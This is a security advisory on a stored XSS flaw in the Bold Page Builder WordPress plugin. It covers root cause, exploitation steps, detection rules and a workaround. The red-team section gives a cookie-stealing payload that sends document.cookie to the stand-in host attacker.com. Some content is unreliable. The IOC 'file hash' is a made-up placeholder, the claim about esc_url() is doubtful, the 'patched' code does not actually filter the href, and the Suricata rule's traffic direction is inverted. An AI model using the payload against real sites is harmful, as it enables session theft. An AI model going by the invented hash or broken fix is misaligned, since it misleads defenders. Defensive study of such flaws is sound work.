CVE-2024-1160

Executive Summary

CVE-2024-1160 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress. The flaw exists in the plugin’s “Icon Link” feature, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious payload, the script executes in the context of the victim’s browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 4.8.0. No official patch has been released, and the vendor has not acknowledged the issue. CVE-2024-30442 is likely a duplicate.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Bold Page Builder plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for any unofficial patches or forks. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no package manager-specific supply chain risks apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privilege users. The stored XSS can affect all visitors, including administrators, leading to potential privilege escalation or data theft.

Deep Dive & Mechanics

The Bold Page Builder plugin allows users to create and customize pages using a drag-and-drop interface. The “Icon Link” element accepts user-supplied URLs and displays them as clickable icons. The vulnerability arises because the plugin does not properly sanitize the href attribute of the link. An attacker can inject a javascript: URI or an event handler (e.g., onmouseover) that executes arbitrary JavaScript when the link is rendered.

Root Cause: The plugin uses esc_url() for sanitization, but this function does not block javascript: URIs. Additionally, the output is not escaped in a context-aware manner, allowing HTML attribute injection.

Attack Flow:

1. An attacker with contributor-level access creates or edits a page using the Bold Page Builder.
2. In the Icon Link field, the attacker enters a malicious payload such as javascript:alert(document.cookie).
3. The plugin stores the payload in the database without proper sanitization.
4. When any user (including administrators) visits the page, the browser executes the injected script.

Vulnerable vs. Patched Code

Vulnerable Code (Bold Page Builder <= 4.8.0):

// In the plugin's rendering function
$icon_link = get_post_meta( $post_id, '_bold_icon_link', true );
echo '<a href="' . esc_url( $icon_link ) . '">...</a>';

Patched Code (Hypothetical Fix):

// Use wp_kses() to strip dangerous protocols and attributes
$icon_link = get_post_meta( $post_id, '_bold_icon_link', true );
$safe_link = wp_kses( $icon_link, array(
    'a' => array(
        'href' => array(
            'protocols' => array( 'http', 'https', 'mailto' ),
        ),
    ),
) );
echo '<a href="' . esc_url( $safe_link ) . '">...</a>';

Explanation: The vulnerable code uses esc_url() which only escapes characters but does not validate the protocol. The patched code uses wp_kses() to restrict allowed protocols and then applies esc_url() for safe output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Bold Page Builder <= 4.8.0 installed and activated.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new page or edit an existing one.
3. Add an Icon Link element via the Bold Page Builder interface.
4. In the link URL field, enter: javascript:alert('XSS')
5. Save the page.
6. As an administrator or any other user, visit the page. The JavaScript alert will execute.

Advanced Payload:

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Blue Team

Detection:

• Monitor for pages containing javascript: URIs in the _bold_icon_link post meta.
• Look for unusual contributor activity, especially rapid page creation or editing.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Query the WordPress database for posts with meta key _bold_icon_link containing javascript: or on*= patterns.
• Check web server logs for requests to pages with suspicious query strings or referrers.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • bold-page-builder.php (version 4.8.0): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Database Entries:
  • Post meta key: _bold_icon_link
  • Suspicious values: javascript:*, onmouseover=*, onclick=*
• Network Indicators:
  • Outbound connections to attacker-controlled domains from WordPress admin pages.
• Log Patterns:
  • HTTP requests to pages containing ?page_id= with unusual referrers.

Detection Engineering

YARA Rule

rule CVE_2024_1160_Bold_Page_Builder_XSS {
    meta:
        description = "Detects stored XSS payloads in Bold Page Builder Icon Link"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1160"
    strings:
        $payload1 = /javascript\s*:/ nocase
        $payload2 = /on\w+\s*=/ nocase
        $payload3 = /<script\b[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1160 - Stored XSS via Bold Page Builder Icon Link
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress post meta for Bold Page Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: "_bold_icon_link"
        meta_value|contains|all:
            - "javascript:"
            - "on"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript links (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1160 - Stored XSS Payload in Bold Page Builder"; flow:to_server,established; content:"_bold_icon_link"; nocase; content:"javascript:"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Bold Page Builder plugin until a patch is released.
2. Remove or sanitize any existing Icon Link entries that contain suspicious content.
3. Restrict contributor-level permissions to trusted users only.

Long-Term Fix:

• The vendor must release a patched version that uses wp_kses() to validate link protocols and context-aware escaping.
• Until then, consider using a Web Application Firewall (WAF) to block javascript: URIs in post meta.

Workaround:

• Add a custom function to your theme’s functions.php to sanitize the _bold_icon_link meta on save:

add_filter( 'update_post_metadata', function( $check, $object_id, $meta_key, $meta_value ) {
    if ( '_bold_icon_link' === $meta_key ) {
        if ( preg_match( '/^javascript:/i', $meta_value ) ) {
            wp_die( 'Invalid link protocol.' );
        }
    }
    return $check;
}, 10, 4 );

Valters IT
Securing Digital Frontiers